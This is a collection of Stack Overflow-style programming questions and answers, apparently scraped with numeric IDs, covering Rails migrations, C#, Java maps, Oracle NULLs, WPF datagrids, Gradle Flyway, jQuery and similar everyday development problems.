38774618	0	 <p>You're setting a foreign key for <code>cards</code> table with the column <code>user_id</code>. But you haven't created a reference yet. Create a reference and then add foreign key to maintain referential integrity. Rollback and modify your migration with</p> <pre><code>1 class AddUserIdToCard &lt; ActiveRecord::Migration[5.0] 2 def change 3 add_reference :cards, :users, index:true 4 add_foreign_key :cards, :users 5 end 6 end </code></pre> <p>Line 3 will create, in the <code>cards</code> table, a reference to <code>id</code> in the <code>users</code> table (by creating a <code>user_id</code> column in <code>cards</code>).</p> <p>Line 4 will add a foreign key constraint to <code>user_id</code> at the database level.</p> <p>For more, read <a href="http://stackoverflow.com/questions/22815009/add-a-reference-column-migration-in-rails-4">Add a reference column migration in Rails 4</a></p>
38705646	0	Can a pure function return a Symbol? <p>This may border on philosophical, but I thought it would be the right place to ask.</p> <p>Suppose I have a function that creates a list of IDs. These identifiers are only used internally to the application, so it is acceptable to use ES2015 <code>Symbol()</code> here.</p> <p>My problem is that, <em>technically</em>, when you ask for a Symbol, I'd imagine the JS runtime creates a unique identifier (random number? memory address? unsure) which, to prevent collisions, would require accessing global state. The reason I'm unsure is because of that word, "technically". I'm not sure (again, from a philosophical standpoint) if this ought to be enough to break the mathematical abstraction that the API presents.</p> <p><strong>tl;dr:</strong> here's an example--</p> <pre><code>function sentinelToSymbol(x) { if (x === -1) return Symbol(); return x; } </code></pre> <p><em>Is this function pure?</em></p>
12270530	0	 <p>With VS2012 or with the VS2010 extension mentioned at <a href="http://blogs.msdn.com/b/webdev/archive/2012/06/15/visual-studio-2010-web-publish-updates.aspx" rel="nofollow">http://blogs.msdn.com/b/webdev/archive/2012/06/15/visual-studio-2010-web-publish-updates.aspx</a>, you can create per-profile transforms. There isn't yet tooling to generate the transform files in the IDE, but you can copy one of the existing transform files (e.g. Web.Release.config) and include it in your project.</p>
19028491	0	 <p>Why do you use Task.Run? that start a new worker thread (cpu bound), and it causes your problem.</p> <p>you should probably just do that:</p> <pre><code> private async Task Run() { await File.AppendText("temp.dat").WriteAsync("a"); label1.Text = "test"; } </code></pre> <p>await ensure you will continue on the same context except if you use .ConfigureAwait(false);</p>
19724570	0	Silex double form <p>I'm currently using Silex2 FormFactory to build a form and I stumbled on a problem.</p> <p>I have a login page (login.twig), asking for email and a password. This form includes the validation. But I want to have this login form always in my header too (on my layout.twig ). I created the form and linked the action to the location of the login page. I had to manualy write the correct id and name of each input element, and I copied the generated token of the login.twig inside the form. But I doubt this is the correct way to do it?</p> <pre><code>&lt;form class="navbar-form pull-right" action="{{ path('auth.login') }}" method="post" novalidate="novalidate"&gt;{# disables HTML5 formchecking #} &lt;input class="span2" type="text" id="loginform_email" name="loginform[email]" placeholder="Email"&gt; &lt;input class="span2" type="password" id="loginform_password" name="loginform[password]" placeholder="Password"&gt; &lt;input id="loginform__token" type="hidden" value="9eb2a291d32d114987aee1548da878201dd79a7b" name="loginform[_token]"&gt; &lt;button class="btn" type="submit"&gt;Sign in&lt;/button&gt; &lt;a href="{{ path('auth.register') }}"&gt;register here&lt;/a&gt; &lt;/form&gt; </code></pre>
24278474	0	containsKey check for hashmap <p>I have read multiple posts to understand this, but I can't seem to quite get in on why we do a check if a map does not contain a key before performing a put operation? For eg,</p> <pre><code> if(!myMap.containsKey(myKey) { myMap.put(myKey,myValue); } </code></pre> <p>Why do we need this check? Either way, map doesn't allow duplicate key, and replaces the key with the new value if the key already exists. So why do we need to check this explicitly? Is this check needed for all implementations of Map? I am sorry if this is a very basic question. I can't seem to find an answer to this exact question. If there are posts that answer this that I may have missed, please point me to them, and feel free to mark mine as duplicate.</p>
33488666	0	Path.GetFullPath returning wrong path in C# <p>According to the MSDN docs, to get the full file path of a file use</p> <pre><code>var fileName = Path.GetFullPath("KeywordsAndPhrases.txt"); </code></pre> <p>Which I would assume delivers the full path of that file for the project it is in.</p> <blockquote> <p>'K:\HeadlineAutoTrader\Autotrader.Infrastructure.HeadlineFeeds\Data\KeywordsAndPhrases.txt'</p> </blockquote> <p>Which it doesn't, it returns;</p> <blockquote> <p>'K:\HeadlineAutoTrader\AutotraderTests\bin\Debug\Data\KeywordsAndPhrases.txt'</p> </blockquote> <p>which somewhat makes sense as the code I'm testing is being run in the test project.</p> <p>So the question is how does one get the full filepath of a text file in a folder in another class library within the same solution?</p> <p>This is a WPF based project, obviously it would be easier in a web app as Server.MapPath works great</p>
37538349	0	 <p>To answer it myself, yes. DJ will restart the current processes properly, all in their own place.</p> <pre><code>2016-05-31T06:25:59+0000: [Worker(delayed_job host:*** pid:699)] Exiting... 2016-05-31T06:26:03+0000: [Worker(delayed_job host:*** pid:709)] Exiting... 2016-05-31T06:26:05+0000: [Worker(delayed_job host:*** pid:716)] Exiting... 2016-05-31T06:26:10+0000: [Worker(delayed_job host:*** pid:723)] Exiting... 2016-05-31T06:26:16+0000: [Worker(delayed_job host:*** pid:29890)] Starting job worker 2016-05-31T06:26:16+0000: [Worker(delayed_job host:*** pid:29897)] Starting job worker 2016-05-31T06:26:16+0000: [Worker(delayed_job host:*** pid:29915)] Starting job worker 2016-05-31T06:26:16+0000: [Worker(delayed_job host:*** pid:29907)] Starting job worker </code></pre> <p>Something like that.</p>
2820257	0	 <p>That error occurs after a fatal error ( anywhere ), but I think it happens only in older versions of Kohana3. Delete your cookies after this occurs.</p> <p>Try downloading the <a href="http://kohanaframework.org/download/kohana-latest" rel="nofollow noreferrer">latest version of Kohana 3 again</a></p> <p>EDIT:</p> <p>You can get more info on this bug <a href="http://forum.kohanaframework.org/comments.php?DiscussionID=4606&amp;Focus=34920" rel="nofollow noreferrer">here</a></p>
11514918	0	EclipseLink Profiler shows multiple registered object being created <p>In my development environment when i run a ReadAllQuery using a simple get all JQPL query, i noticed after using the EL profiler that there several read object queries that get executed each adding time to my total time. For example, running a query like this returns the following eclipse profile output.</p> <pre><code>@SuppressWarnings("unchecked") public List&lt;Person&gt; getAllPeople(){ EntityManager entityManager = factory.createEntityManager(); List&lt;Person&gt; people = null; try { people = entityManager.createQuery("Select p from Person p where p.active = true").getResultList(); } catch (Exception e) { // TODO: handle exception } finally{ entityManager.close(); if (entityManager.isOpen()) { } } </code></pre> <p>Returns multiple <code>Register the existing object</code> statements and looking at the log output each is being done in a unit of work, why and how can i prevent these?</p> <pre><code>[EL Finest]: connection: 2012-07-16 20:21:26.558--ServerSession(1144634498)--Connection(1713234840)--Thread(Thread["http-bio-8080"-exec-14,5,main])--Connection released to connection pool [read]. Profile(ReadAllQuery, class=org.bixin.dugsi.domain.ApplicantSchool, number of objects=2, total time=3494000, local time=3494000, profiling time=84000, Timer:Logging=412000, Timer:ObjectBuilding=1670000, Timer:SqlPrepare=24000, Timer:ConnectionManagement=215000, Timer:StatementExecute=455000, Timer:Caching=68000, Timer:DescriptorEvents=9000, Timer:RowFetch=97000, time/object=1747000, ) }End profile Register the existing object Address[id=5,persons={[Applicant[major=Bachelors in Islamic Studies,nativeLanguage=&lt;null&gt;,ethnicity=&lt;null&gt;,hispanic=&lt;null&gt;,religiousAffiliation=&lt;null&gt;,schools={[ApplicantSchool[id=8,name=John Hopkisn,fromMonth=May,fromYear=2013,toMonth=March,toYear=2011,schoolType=Highschool,creditsCompleted=unavailable,gpa=unavailable,applicant=&lt;null&gt;,version=1,_persistence_applicant_vh={QueryBasedValueHolder: not instantiated},_persistence_fetchGroup=&lt;null&gt;], ApplicantSchool[id=7,name=,fromMonth=&lt;null&gt;,fromYear=&lt;null&gt;,toMonth=&lt;null&gt;,toYear=&lt;null&gt;,schoolType=College,creditsCompleted=,gpa=,applicant=&lt;null&gt;,version=1,_persistence_applicant_vh={QueryBasedValueHolder: not instantiated},_persistence_fetchGroup=&lt;null&gt;]]},FirstName=warsame,MiddleName=a,LastName=bashir,primaryTelephone=2342342333,secondaryTelephone=,emailAddress=warsme@d.com,birthDay=Sun Jul 22 00:00:00 CDT 2012,gender=Male,DateAdded=Fri Jul 13 18:16:33 CDT 2012,address=&lt;null&gt;,imagePath=&lt;null&gt;,active=true,marital=Single,school=&lt;null&gt;,nativeLanguage=Arabic,ethnicity=[Asian],hispanic=No,religiousAffiliation=Islam,id=651,version=1,_persistence_school_vh={null},_persistence_address_vh={Address[id=5,persons=org.eclipse.persistence.indirection.IndirectSet@47f322c8,streetAddress=243 city join,streetAddress2=&lt;null&gt;,city=saudi,state_us=South Carolina (SC),zipCode=24234,country=Antarctica,version=1,_persistence_fetchGroup=&lt;null&gt;]},_persistence_fetchGroup=&lt;null&gt;]]},streetAddress=243 city join,streetAddress2=&lt;null&gt;,city=saudi,state_us=South Carolina (SC),zipCode=24234,country=Antarctica,version=1,_persistence_fetchGroup=&lt;null&gt;] Profile( total time=5000, local time=5000, Timer:DescriptorEvents=5000, ) Profile( total time=196000, local time=196000, Timer:Register=196000, ) [EL Finest]: transaction: 2012-07-16 20:21:26.564--UnitOfWork(26103836)--Thread(Thread["http-bio-8080"-exec-14,5,main])--Register the existing object Applicant[major=Bachelors in Islamic Studies,nativeLanguage=&lt;null&gt;,ethnicity=&lt;null&gt;,hispanic=&lt;null&gt;,religiousAffiliation=&lt;null&gt;,schools={[ApplicantSchool[id=8,name=John Hopkisn,fromMonth=May,fromYear=2013,toMonth=March,toYear=2011,schoolType=Highschool,creditsCompleted=unavailable,gpa=unavailable,applicant=&lt;null&gt;,version=1,_persistence_applicant_vh={QueryBasedValueHolder: not instantiated},_persistence_fetchGroup=&lt;null&gt;], ApplicantSchool[id=7,name=,fromMonth=&lt;null&gt;,fromYear=&lt;null&gt;,toMonth=&lt;null&gt;,toYear=&lt;null&gt;,schoolType=College,creditsCompleted=,gpa=,applicant=&lt;null&gt;,version=1,_persistence_applicant_vh={QueryBasedValueHolder: not instantiated},_persistence_fetchGroup=&lt;null&gt;]]},FirstName=warsame,MiddleName=a,LastName=bashir,primaryTelephone=2342342333,secondaryTelephone=,emailAddress=warsme@d.com,birthDay=Sun Jul 22 00:00:00 CDT 2012,gender=Male,DateAdded=Fri Jul 13 18:16:33 CDT 2012,address=&lt;null&gt;,imagePath=&lt;null&gt;,active=true,marital=Single,school=&lt;null&gt;,nativeLanguage=Arabic,ethnicity=[Asian],hispanic=No,religiousAffiliation=Islam,id=651,version=1,_persistence_school_vh={null},_persistence_address_vh={Address[id=5,persons={[Applicant[major=Bachelors in Islamic Studies,nativeLanguage=&lt;null&gt;,ethnicity=&lt;null&gt;,hispanic=&lt;null&gt;,religiousAffiliation=&lt;null&gt;,schools={[ApplicantSchool[id=8,name=John Hopkisn,fromMonth=May,fromYear=2013,toMonth=March,toYear=2011,schoolType=Highschool,creditsCompleted=unavailable,gpa=unavailable,applicant=&lt;null&gt;,version=1,_persistence_applicant_vh={QueryBasedValueHolder: not instantiated},_persistence_fetchGroup=&lt;null&gt;], ApplicantSchool[id=7,name=,fromMonth=&lt;null&gt;,fromYear=&lt;null&gt;,toMonth=&lt;null&gt;,toYear=&lt;null&gt;,schoolType=College,creditsCompleted=,gpa=,applicant=&lt;null&gt;,version=1,_persistence_applicant_vh={QueryBasedValueHolder: not instantiated},_persistence_fetchGroup=&lt;null&gt;]]},FirstName=warsame,MiddleName=a,LastName=bashir,primaryTelephone=2342342333,secondaryTelephone=,emailAddress=warsme@d.com,birthDay=Sun Jul 22 00:00:00 CDT 2012,gender=Male,DateAdded=Fri Jul 13 18:16:33 CDT 2012,address=&lt;null&gt;,imagePath=&lt;null&gt;,active=true,marital=Single,school=&lt;null&gt;,nativeLanguage=Arabic,ethnicity=[Asian],hispanic=No,religiousAffiliation=Islam,id=651,version=1,_persistence_school_vh={null},_persistence_address_vh=org.eclipse.persistence.internal.indirection.QueryBasedValueHolder@6b8099d3,_persistence_fetchGroup=&lt;null&gt;]]},streetAddress=243 city join,streetAddress2=&lt;null&gt;,city=saudi,state_us=South Carolina (SC),zipCode=24234,country=Antarctica,version=1,_persistence_fetchGroup=&lt;null&gt;]},_persistence_fetchGroup=&lt;null&gt;] Profile( total time=1349000, local time=1349000, Timer:Logging=1349000, ) </code></pre>
40285494	0	Change color of blank lines - Netbeans <p>I'm getting a weird coloration with my theme in Netbeans and don't know what is the parameter that can set that. It happen only with blank lines (without any charact on it). Does anyone know how i can set that to "Inherit" ?</p> <p><a href="https://i.stack.imgur.com/YYrJW.png" rel="nofollow"><img src="https://i.stack.imgur.com/YYrJW.png" alt="Netbeans weird coloration"></a></p> <p>Thaaaanks :)</p>
26274833	0	 <p><code>''</code> is again <code>NULL</code> in Oracle. because Oracle doesnt support empty Strings just like Other High Level languages or DBMS..</p> <p>You need to look for NULL values using <code>IS NULL</code> or <code>IS NOT NULL</code></p> <p>No, other relational operators work against <code>NULL</code>, though it is syntactically valid. <a href="http://sqlfiddle.com/#!4/d41d8/36233" rel="nofollow">SQLFiddle Demo</a></p> <p>It has to be,</p> <pre><code>select * from example_so where mycol IS NULL </code></pre> <p><strong>EDIT:</strong> As per <a href="http://docs.oracle.com/cd/B19306_01/server.102/b14200/sql_elements005.htm" rel="nofollow">Docs</a></p> <blockquote> <p>Oracle Database currently treats a character value with a length of zero as null. However, this may not continue to be true in future releases, and Oracle recommends that you do not treat empty strings the same as nulls.</p> </blockquote>
6363893	0	Separate debug/release output in FlashDevelop <p>I want to have separate output directories for debug and release builds. However, I don't see any proper option in FlashDevelop. Is this thing achievable, and if so, how to do this? If not, how to determine if current build is compiled as debug or release?</p>
23609178	0	 <p>As IntelliJ IDEA suggest when extracting constant - make static inner class. This approach works:</p> <pre><code>@RequiredArgsConstructor public enum MyEnum { BAR1(Constants.BAR_VALUE), FOO("Foo"), BAR2(Constants.BAR_VALUE), ..., BARn(Constants.BAR_VALUE); @Getter private final String value; private static class Constants { public static final String BAR_VALUE = "BAR"; } } </code></pre>
39550695	0	How get array value by key in javascript <p>I am getting following <em>javascript</em> array and i need to get value of that array by key. Any suggestion will be appreciated.</p> <pre><code>[Object { 5=7224}, Object { 10=7225}, Object { 25=7226}, Object { 50=7227}] </code></pre> <p>I have created following code - </p> <pre><code>'payment_tariff': { 4142: { 1: [{1: 7223}], 2: [{5: 7224}, {10: 7225}, {25: 7226}, {50: 7227}], 3: [{10: 7228}, {20: 7229}, {50: 7230}, {100: 7231}], 4: [{25: 7232}, {50: 7233}, {100: 7234}, {250: 7235}], 5: [{25: 7236}, {50: 7237}, {100: 7238}, {250: 7239}] } , 4130: { 1: [{1: 7132}], 2: [{5: 7133}, {10: 7134}, {25: 7135}, {50: 7136}], 3: [{10: 7137}, {25: 7138}, {50: 7139}, {100: 7140}], 4: [{25: 7141}, {50: 7142}, {100: 7143}, {250: 7144}], 5: [{25: 7145}, {50: 7146}, {100: 7147}, {250: 7148}] } , 4133: { 1: [{1: 7166}], 2: [{5: 7167}, {10: 7168}, {25: 7169}, {50: 7170}], 3: [{10: 7171}, {25: 7172}, {50: 7173}, {100: 7173}], 4: [{25: 7174}, {50: 7175}, {100: 7176}, {250: 7177}], 5: [{25: 7178}, {50: 7179}, {100: 7180}, {250: 7181}] } , 4134: { 1: [{1: 7188}], 2: [{5: 7189}, {10: 7190}, {25: 7191}, {50: 7192}], 3: [{10: 7193}, {25: 7194}, {50: 7195}, {100: 7298}], 4: [{25: 7197}, {50: 7198}, {100: 7199}, {250: 7200}], 5: [{25: 7201}, {50: 7202}, {100: 7203}, {250: 7204}] } , 4135: { 1: [{1: 7206}], 2: [{5: 7207}, {10: 7208}, {25: 7209}, {50: 7210}], 3: [{10: 7211}, {25: 7212}, {50: 7213}, {100: 7214}], 4: [{25: 7215}, {50: 7216}, {100: 7217}, {250: 7218}], 5: [{25: 7219}, {50: 7220}, {100: 7221}, {250: 7222}] } } </code></pre> <p>I am getting dynamic value of payment_tariff's keys</p> <p>For example, I need to get value of key 5, Where key is some value that will be further processed. </p>
16117699	0	Unable to obtain JDBC connection from datasource <p>I was trying to run the following command in gradle and it gave me the following error :</p> <pre><code> c:\gsoc\mifosx\mifosng-provider&gt;gradle migrateTenantListDB -PdbName=mifosplatfor m-tenants Listening for transport dt_socket at address: 8005 :migrateTenantListDB FAILED FAILURE: Build failed with an exception. * Where: Build file 'C:\gsoc\mifosx\mifosng-provider\build.gradle' line: 357 * What went wrong: Execution failed for task ':flywayMigrate'. &gt; Unable to obtain Jdbc connection from DataSource * Try: Run with --stacktrace option to get the stack trace. Run with --info or --debug option to get more log output. BUILD FAILED Total time: 13.843 secs </code></pre> <p>The script file is here and the line no. of error is shown as 357 but I dont know why it is showing me an error. Is it something about incorrect configuration in mysql server please help me out here: script:</p> <pre><code>task migrateTenantListDB&lt;&lt;{ description="Migrates a Tenant List DB. Optionally can pass dbName. Defaults to 'mifosplatform-tenants' (Example: -PdbName=someDBname)" def filePath = "filesystem:$projectDir" + System.properties['file.separator'] + '..' + System.properties['file.separator'] + 'mifosng-db' + System.properties['file.separator'] + 'migrations/list_db' def tenantsDbName = 'mifosplatform-tenants'; if (rootProject.hasProperty("dbName")) { tenantsDbName = rootProject.getProperty("dbName") } flyway.url= "jdbc:mysql://localhost:3306/$tenantsDbName" flyway.locations= [filePath] flywayMigrate.execute() } </code></pre>
32721031	0	 <p>You can call Activity method by using instance of Activity like this, inside MainActivity write below code </p> <pre><code>mDeviceListAdapter = new DeviceListAdapter(MainActivity.this); </code></pre> <p>Inside Adapter</p> <pre><code> private MainActivity _mainActivity; public DeviceListAdapter(MainActivity activity){ this._mainActivity=activity; } </code></pre> <p>Inside your onClick method</p> <pre><code> _mainActivity.yourActivityMethod(address); </code></pre>
26835497	0	 <p>If you want to assign the result to a <code>List(Of String)</code> variable then you need a <code>List(Of String)</code> object. You can all <code>ToList</code> on any enumerable list to create a <code>List(Of T)</code>.</p> <p>Also, your <code>AsEnumerable</code> call is pointless because <code>Cast(Of T)</code> already returns an <code>IEnumerable(Of T)</code>.</p> <p>Finally, declaring a variable on one line and then setting its value is so unnecessarily verbose. It's not wrong but it is pointless. In your case, not only are you declaring a variable but you're also creating an object that you never use. Don't create a <code>New</code> object if you don;t actually want a new object, which you don;t because you're getting an object on the very next line.</p> <pre><code>Dim list As List(Of String) = chkparameter.Items. Cast(Of ListItem). Where(Function(x) x.Selected). Select(Function(x) x.Value). ToList() </code></pre> <p>There's also no need to declare the type of the variable because it will be inferred from the initialising expression, i.e. <code>ToList</code> returns a <code>List(Of String)</code> so the type of the variable can be inferred from that. Not everyone likes to use type inference where it's not completely obvious though, so I'll let you off that one. I'd tend to do this though:</p> <pre><code>Dim list = chkparameter.Items. Cast(Of ListItem). Where(Function(x) x.Selected). Select(Function(x) x.Value). ToList() </code></pre> <p>By the way, notice how much easier the code is to read with some sensible formatting? If you're going to use chained function syntax like that, it's a very good idea to put each function on a different line once you get more than two or three.</p>
27788994	0	 <p>You can download the Visual FoxPro runtime installers here:</p> <p><a href="http://vfpx.codeplex.com/releases/view/194354" rel="nofollow">http://vfpx.codeplex.com/releases/view/194354</a></p> <p>Versions available for downlaod are:</p> <pre><code>VFP6 SP5 VFP7 SP1 VFP8 SP1 VFP9 SP2 </code></pre>
38750310	0	Having selected data from one datagrid be displayed on another datagrid <p>I am trying to select one customer from a datagrid and then have that customers name be displayed in a list of customers that are being seen that day </p> <p>Here is the XAML:</p> <pre><code>&lt;Grid Name="gridListOfAllCustomers" Visibility="Collapsed" Margin="235,26,-740,56" Grid.Row="3" Grid.RowSpan="4" Grid.Column="1"&gt; &lt;DataGrid Name="dataGridListOfAllCustomers" IsReadOnly="True" AutoGenerateColumns="False" ItemsSource="{Binding Customer}" SelectionChanged="dataGridListOfAllCustomers_SelectionChanged"&gt; &lt;DataGrid.Columns&gt; &lt;DataGridTextColumn Header="Customer User Name" Binding="{Binding UserName}" Width="*"/&gt; &lt;DataGridTextColumn Header="First Name" Binding="{Binding FirstName}" Width="*"/&gt; &lt;DataGridTextColumn Header="Last Name" Binding="{Binding LastName}" Width="*"/&gt; &lt;DataGridTextColumn Header="Birthday" Binding="{Binding Birthday, StringFormat=\{0:dd/MM/yyyy\}}" Width="*"/&gt; &lt;/DataGrid.Columns&gt; &lt;/DataGrid&gt; &lt;/Grid&gt; </code></pre> <p>^ That grid is the one I am selecting data from</p> <pre><code>&lt;Grid Name="gridCustomersOfTheDay" Visibility="Collapsed" Margin="10,2,2,42" Grid.Row="4" Grid.RowSpan="4" Grid.ColumnSpan="2"&gt; &lt;Grid.RowDefinitions&gt; &lt;RowDefinition Height="7*"/&gt; &lt;RowDefinition Height="1*"/&gt; &lt;RowDefinition Height="1*"/&gt; &lt;/Grid.RowDefinitions&gt; &lt;DataGrid Name="dataGridCustomersToday" IsReadOnly="True" AutoGenerateColumns="True" Grid.Row="0" AutoGeneratingColumn="dataGridCustomersToday_AutoGeneratingColumn"/&gt; &lt;Button Name="btnEditCustomersToday" Content="Edit List" Grid.Row="1"/&gt; &lt;Button Name="btnClearCustomers" Content="Clear List" Grid.Row="2" Click="btnClearCustomers_Click"/&gt; &lt;/Grid&gt; </code></pre> <p>^ That Grid should display the data</p> <p>This is what happens when I click the button for todays Customers</p> <pre><code>private void btnCustomersToday_Click(object sender, RoutedEventArgs e) { if (btnCustomersToday.IsChecked == true) { dataGridListOfAllCustomers.Visibility = System.Windows.Visibility.Visible; dataGridCustomersToday.Visibility = System.Windows.Visibility.Visible; } else { dataGridListOfAllCustomers.Visibility = System.Windows.Visibility.Collapse; dataGridCustomersToday.Visibility = System.Windows.Visibility.Collapse; } ResponseBase&lt;List&lt;CustomerInfo&gt;&gt; allCustomers = Data.DataManager.GetCustomerList(""); List&lt;CustomerInfo&gt; listOfAllCustomers = allCustomers.Data; dataGridListOfAllCustomers.ItemsSource = listOfAllCustomers; //Field dataGridCustomersToday.ItemsSource = displayWorkList; //Field } </code></pre> <p>And lastly this is for the selection change</p> <pre><code>private void dataGridListOfAllCustomers_SelectionChanged(object sender, SelectionChangedEventArgs e) { CustomerInfo CustomerForTodayList = (CustomerInfo) dataGridListOfAllCustomers.SelectedItem; if (e.AddedItems.Count == 0) { return; } currentCustomersToday.Add(CustomerForTodayList.UserName); String customerID = CustomerForTodayList.UserName; StringValue addCustomer = new StringValue(customerID); displayWorkList.Add(addCustomer); } </code></pre> <p>So the issue is I click the customer and I have to change the visibility of the second datagrid in order for User name of the customer to appear. Also there is a lag on the second customer for some reason. As in when I select the second customer I also need to select a third customer in order for them to appear (I still need to click). </p> <p>I don't even know what could be possible solutions because my understanding of databinding and datagrids is so limited. I have tried reading the documentation and reading tutorials but no one thoroughly explains path and sources as well as how to make a collections and so. </p>
36104316	0	 <p>After a very long time trying all sorts of things, I found an excellent module which addresses exactly this problem. Install and go, not configuration, it just works: <a href="https://www.drupal.org/project/menu_trail_by_path" rel="nofollow">https://www.drupal.org/project/menu_trail_by_path</a></p> <p>Versions for D7 and a Release Candidate for D8.</p>
21738953	0	jQuery grep not working on object array but for loop does <p>I'm following this tutorial here: <a href="http://ddmvc4.codeplex.com/" rel="nofollow">http://ddmvc4.codeplex.com/</a> for knockout.js. This is my first go at javascript but I think I know what I'm doing so far.</p> <p>I have a simple object array like so:</p> <pre><code>var DummyCompetition = [ { "Id": 1, "Sport": 'Powerlifting', "Title": 'Íslandsmeistaramót í klassískum kraftlyftingum', "Country": 'Iceland', "DateStart": new Date(2014, 2, 8), "DateEnd": new Date(2014, 2, 8) }, { "Id": 2, "Sport": 'Powerlifting', "Title": 'Íslandsmeistaramót í kraftlyftingum', "Country": 'Iceland', "DateStart": new Date(2014, 4, 8), "DateEnd": new Date(2014, 4, 8) } ] </code></pre> <p>and I try to filter id in a function like so</p> <pre><code>var currentCompetition = $.grep(DummyCompetition, function (c) { return c.Id == id; }); currentCompetition = new Competition(currentCompetition[0]); </code></pre> <p>where id is obtained from the URL <code>var id = url.substring(url.lastIndexOf('/') + 1);</code></p> <p>If I run my page the javascript won't load but if I filter the array with a for loop everything works fine.</p> <pre><code>for (var i = 0; i &lt; DummyCompetition.length; i++) { if (DummyCompetition[i].Id == id) { var currentCompetition = new Competition(DummyCompetition[i]); break } } </code></pre> <p>What am I doing wrong?</p>
3202374	0	 <p>Yes, a class like</p> <pre><code>public Geo { private double lat; private double lon; } </code></pre> <p>is sufficient to store a geographical location. You might want to add setter method to make sure, that lat, lon are always in a valid range, otherwise a Geo object might have an invalid state.</p>
13728797	0	Custom Sort of ObservableCollection<T> with base type <p>I have the following simplified classes:</p> <pre><code>public class BaseContainer { public BaseContainer() { Children = new ObservableCollection&lt;BaseContainer&gt;(); } public ObservableCollection&lt;BaseContainer&gt; Children { get; set; } } public class ItemA : BaseContainer { public ItemA() { base.Children.Add(new ItemB() { ItemBName = "bb" }); base.Children.Add(new ItemA() { ItemAName = "ab" }); base.Children.Add(new ItemB() { ItemBName = "ba" }); base.Children.Add(new ItemA() { ItemAName = "aa" }); } public string ItemAName { get; set; } } public class ItemB : BaseContainer { public string ItemBName { get; set; } } </code></pre> <p>I'm trying to sort my ItemA.Children collection based on two conditions:</p> <ol> <li>All Item A's must come first in the collection</li> <li>Item A's should be sorted by ItemAName</li> <li>Item B's should be sorted by ItemBName</li> </ol> <p>So after sorting I'd expect something like this:</p> <ul> <li>ItemA - ItemAName = "aa"</li> <li>ItemA - ItemAName = "ab"</li> <li>ItemB - ItemBName = "ba"</li> <li>ItemB - ItemBName = "bb"</li> </ul> <p>Any ideas on how to accomplish this?</p> <p>I was able to sort by class type name:</p> <pre><code> List&lt;BaseContainer&gt; temp = base.Children.ToList(); temp.Sort((x, y) =&gt; string.Compare(x.GetType().Name, y.GetType().Name)); base.Children.Clear(); base.Children.AddRange(temp); </code></pre> <p>But Names are not sorted...</p> <p>Thanks!</p>
11606561	0	jQuery Mobile changePage not working <p>I'm trying to link to the following html page using </p> <pre><code>$.mobile.changePage( "myPage.html", { transition: "slide"} ); </code></pre> <p>However, it's not working. The page will load however the alert box with the spinning cirlce and "loading" message never disappears and the page never fully loads in its css content. Can anybody see why based on the above call and the html below? Thanks</p> <p><strong>HTML Page</strong></p> <pre><code>&lt;!DOCTYPE html&gt; &lt;html&gt; &lt;head&gt; &lt;title&gt;Sign up&lt;/title&gt; &lt;link rel="stylesheet" href="http://code.jquery.com/mobile/1.0a2/jquery.mobile-1.0a2.min.css" /&gt; &lt;link rel="stylesheet" href="./signup.css"&gt; &lt;script src="http://code.jquery.com/jquery-1.4.4.min.js"&gt;&lt;/script&gt; &lt;script src="http://code.jquery.com/mobile/1.0a2/jquery.mobile-1.0a2.min.js"&gt;&lt;/script&gt; &lt;script&gt; // Global declarations - assignments made in $(document).ready() below var hdrMainvar = null; var contentMainVar = null; var ftrMainVar = null; var contentTransitionVar = null; &lt;/script&gt; &lt;/head&gt; &lt;body&gt; &lt;!-- Page starts here --&gt; &lt;div data-role="page" data-theme="b" id="page1"&gt; &lt;div data-role="header" id="hdrMain" name="hdrMain" data-nobackbtn="true"&gt; &lt;h1&gt;Classroom Tempo&lt;/h1&gt; &lt;/div&gt; &lt;div data-role="navbar"&gt; &lt;ul&gt; &lt;li&gt;&lt;a href="" data-icon="" data-transition="fade" class="ui-btn-active ui-state-persist"&gt;Sign-In&lt;/a&gt;&lt;/li&gt; &lt;li&gt;&lt;a href="survey_SignUp.html" rel="external" data-icon="" data-transition="fade"&gt;Sign-Up&lt;/a&gt;&lt;/li&gt; &lt;/ul&gt; &lt;/div&gt; &lt;div data-role="content" id="contentMain" name="contentMain"&gt; &lt;form id="form1"&gt; &lt;div id="optionSliderDiv" data-role="fieldcontain"&gt; &lt;label for="optionSlider"&gt;How Many Options?&lt;/label&gt; &lt;input type="range" name="optionSlider" id="optionSlider" value="2" min="2" max="25" data-highlight="true" /&gt; &lt;/div&gt; &lt;fieldset data-role="controlgroup"&gt; &lt;legend&gt;Numbers or Letters?:&lt;/legend&gt; &lt;input type="radio" name="numbersOrLetters" id="Numbers" value="Numbers" checked="checked" /&gt; &lt;label for="Numbers"&gt;Numbers&lt;/label&gt; &lt;input type="radio" name="numbersOrLetters" id="Letters" value="Letters" /&gt; &lt;label for="Letters"&gt;Letters&lt;/label&gt; &lt;/fieldset&gt; &lt;script&gt; $(document).ready(function() { // Assign global variables hdrMainVar = $('#hdrMain'); contentMainVar = $('#contentMain'); ftrMainVar = $('#ftrMain'); contentTransitionVar = $('#contentTransition'); sliderValue = $('#optionSlider'); surveyDescriptionVar = $('#SurveyDescription') form1Var = $('#form1'); confirmationVar = $('#confirmation'); contentDialogVar = $('#contentDialog'); hdrConfirmationVar = $('#hdrConfirmation'); contentConfirmationVar = $('#contentConfirmation'); ftrConfirmationVar = $('#ftrConfirmation'); inputMapVar = $('input[name*="_r"]'); hideContentDialog(); hideContentTransition(); hideConfirmation(); }); $('#buttonOK').click(function() { hideContentDialog(); //hidePasswordMisMatch(); showMain(); return false; }); $('#form1').submit(function() { var err = false; var passwordError = false; // Hide the Main content hideMain(); console.log(sliderValue.val()); // If validation fails, show Dialog content if(err == true){ console.log("we've got an issue"); showContentDialog(); return false; } $('input[name=OnOff]').each(function() { onOffValue = $('input[name=OnOff]:checked').val(); }) $('input[name=numbersOrLetters]').each(function() { numbersOrLetters = $('input[name=numbersOrLetters]:checked').val(); }) console.log(onOffValue); console.log(numbersOrLetters); // If validation passes, show Transition content showContentTransition(); // Submit the form $.post("http://url", form1Var.serialize(), function(data){ console.log(data); hideContentTransition(); showConfirmation(); }); return false; }); &lt;/script&gt; &lt;/div&gt; &lt;!-- page1 --&gt; &lt;!-- Page ends here --&gt; &lt;/body&gt; &lt;/html&gt; </code></pre>
